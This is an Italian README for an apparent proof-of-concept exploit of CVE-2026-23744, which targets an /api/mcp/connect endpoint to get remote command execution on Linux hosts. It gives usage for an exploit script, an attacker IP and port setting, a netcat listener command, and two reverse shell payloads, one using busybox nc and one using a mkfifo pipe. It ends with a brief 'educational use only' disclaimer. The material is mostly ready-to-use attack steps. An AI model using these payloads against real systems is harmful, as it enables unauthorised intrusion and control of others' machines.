
Proof-of-concept exploit per CVE-2026-23744, che prende di mira /api/mcp/connect per ottenere l'esecuzione remota di comandi su sistemi Linux tramite reverse shell.
PoC per sfruttare /api/mcp/connect per l'esecuzione remota di comandi.
pip install requests
python3 exploit.py <target>
Esempio:
python3 exploit.py mcp.something.com
attacker_ip = "YOUR_IP"
port = 4444
nc -lvnp 4444
Predefinito:
busybox nc <IP> <PORT> -e /bin/sh
Alternativa:
rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | busybox nc <IP> <PORT> > /tmp/f
-e fallisceSolo per uso educativo.